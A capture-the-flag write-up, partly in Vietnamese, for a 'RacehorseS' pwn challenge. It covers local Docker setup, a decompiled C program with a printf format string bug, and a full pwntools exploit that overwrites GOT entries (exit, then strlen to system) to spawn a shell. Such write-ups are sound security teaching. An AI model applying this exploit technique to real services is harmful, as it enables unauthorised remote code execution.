pwn - RacehorseS

My daughter Haru Urara is learning C. She wrote a little program to talk to another horse. Can you check it for security issues?

November 4, 2025 October 24, 2025 Easy
Author Author Hung Nguyen Tuong

Setup

Chúng ta tiến hành setup challenge để debug local:

┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ sudo docker build -t racehorses .
[+] Building 16.2s (12/12) FINISHED

┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ docker run -p 5000:5000 --privileged -it racehorses
[I][2025-10-24T13:45:07+0000] Mode: LISTEN_TCP
[I][2025-10-24T13:45:07+0000] Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:15, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0
[I][2025-10-24T13:45:07+0000] Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true
[I][2025-10-24T13:45:07+0000] Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true
[I][2025-10-24T13:45:07+0000] Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
[I][2025-10-24T13:45:07+0000] Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
[I][2025-10-24T13:45:07+0000] Listening on [::]:5000
┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ nc 0 5000
Say something:
┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ ps aux | grep /app/run
kali       53779  0.0  0.0   2556  1420 ?        SNs  09:45   0:00 /app/run
kali       53849  0.0  0.0   6544  2376 pts/2    S+   09:45   0:00 grep --color=auto /app/run

┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ gdb -p 53779
GNU gdb (Debian 16.3-5) 16.3

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 /app/run
          0x401000           0x402000 r-xp     1000    1000 /app/run
          0x402000           0x403000 r--p     1000    2000 /app/run
          0x403000           0x404000 r--p     1000    2000 /app/run
          0x404000           0x405000 rw-p     1000    3000 /app/run
    0x7f44cb79c000     0x7f44cb79f000 rw-p     3000       0 [anon_7f44cb79c]
    0x7f44cb79f000     0x7f44cb7c7000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f44cb7c7000     0x7f44cb94f000 r-xp   188000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f44cb94f000     0x7f44cb99e000 r--p    4f000  1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f44cb99e000     0x7f44cb9a2000 r--p     4000  1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f44cb9a2000     0x7f44cb9a4000 rw-p     2000  202000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f44cb9a4000     0x7f44cb9b1000 rw-p     d000       0 [anon_7f44cb9a4]
    0x7f44cb9b3000     0x7f44cb9b5000 rw-p     2000       0 [anon_7f44cb9b3]
    0x7f44cb9b5000     0x7f44cb9b9000 r--p     4000       0 [vvar]
    0x7f44cb9b9000     0x7f44cb9bb000 r--p     2000       0 [vvar_vclock]
    0x7f44cb9bb000     0x7f44cb9bd000 r-xp     2000       0 [vdso]
    0x7f44cb9bd000     0x7f44cb9be000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7f44cb9be000     0x7f44cb9e9000 r-xp    2b000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7f44cb9e9000     0x7f44cb9f3000 r--p     a000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7f44cb9f3000     0x7f44cb9f5000 r--p     2000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7f44cb9f5000     0x7f44cb9f7000 rw-p     2000   38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7fffce8ea000     0x7fffce90b000 rw-p    21000       0 [stack]
┌──(kali㉿kali)-[~/Desktop/pwn - racehorses/bin]
└─$ docker cp 8869149ec494:/srv/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /home/kali/Desktop/pwn - racehorses/bin/.

┌──(kali㉿kali)-[~/Desktop/pwn - racehorses/bin]
└─$ docker cp 8869149ec494:/srv/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 239kB to /home/kali/Desktop/pwn - racehorses/bin/.

┌──(kali㉿kali)-[~/Desktop/pwn - racehorses/bin]
└─$ pwninit --bin horse_say 
bin: horse_say
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2

copying horse_say to horse_say_patched
running patchelf on horse_say_patched
writing solve.py stub

Source Code

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+10h] [rbp-430h]
  unsigned __int64 j; // [rsp+18h] [rbp-428h]
  size_t len; // [rsp+20h] [rbp-420h]
  size_t len_; // [rsp+28h] [rbp-418h]
  char buf[1032]; // [rsp+30h] [rbp-410h] BYREF
  unsigned __int64 canary; // [rsp+438h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setup(argc, argv, envp);
  memset(buf, 0, 1024u);
  printf("Say something: ");
  if ( fgets(buf, 1024, stdin) )
  {
    len = strlen(buf);
    if ( len && buf[len - 1] == '\n' )
      buf[len - 1] = 0;
    len_ = strlen(buf);
    if ( !len_ )
      strcpy(buf, "(silence)");
    putchar(' ');
    for ( i = 0; i < len_ + 2; ++i )
      putchar('_');
    printf("\n< ");
    printf(buf);
    puts(" >");
    for ( j = 0; j < len_ + 2; ++j )
      putchar('-');
    putchar('\n');
    puts("        \\   ^__^");
    puts("         \\  (oo)\\_______");
    puts("            (__)\\       )\\/\\");
    puts("                ||-----||");
    puts("                ||     ||");
    puts(&new_line);
    exit(0);
  }
  return 0;
}

Mitigation

Solve

Lỗi format string bug xảy ra ở printf(buf). Do Partial RELRO được bật, chúng ta có thể nghĩ đến việc ghi đè GOT entry thành địa chỉ của system(). Tuy nhiên, việc này đòi hỏi phải leak libc, điều này không khả thi chỉ với một lần printf(buf).

Vậy, chúng ta sẽ:

  1. Ghi đè GOT entry của exit() trước để chương trình quay lại hàm main(), tiếp tục lợi dụng format string bug.
  2. Sau đó leak địa chỉ libc từ stack.
  3. Cuối cùng, ghi đè GOT entry của strlen() thành địa chỉ của system(). Khi chương trình gọi strlen(buf), tương đương với system('/bin/sh').

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("horse_say_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
b *main+385
b *main+561
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "localhost"
        port = 5000
        return remote(host, port)

p = conn()

# Ghi đè exit got để tiếp tục sử dụng format string bug
exit_got = exe.got['exit']
main = exe.symbols['main'] + 0x4c
payload = fmtstr_payload(offset=12, writes={exit_got: main})
sla(p, b':', payload)

# Leak địa chỉ libc trên stack với offset là 144
sla(p, b':', b'%144$p')
ru(p, b'0x')
libc_base = int(rc(p, 12), 16) - (libc.symbols['__libc_start_call_main'] + 122)
print(f"libc base: {hex(libc_base)}")

# Chạy thêm 1 lần để rsp căn chỉnh theo 16 byte
sla(p, b':', b'padding')

# Ghi đè strlen got với system, offset bây giờ là 15 thay vì 12 bởi trước đó đã chạy 3 lần
system = libc_base + libc.symbols['system']
print(f"system: {hex(system)}")
strlen_got = exe.got['strlen']
payload = fmtstr_payload(offset=15, writes={strlen_got: system})
sla(p, b':', payload)

# Ghi /bin/sh vào buffer, strlen(buf) trở thành system('/bin/sh')
sla(p, b':', b'/bin/sh\0')

rr(p, 1)
ia(p)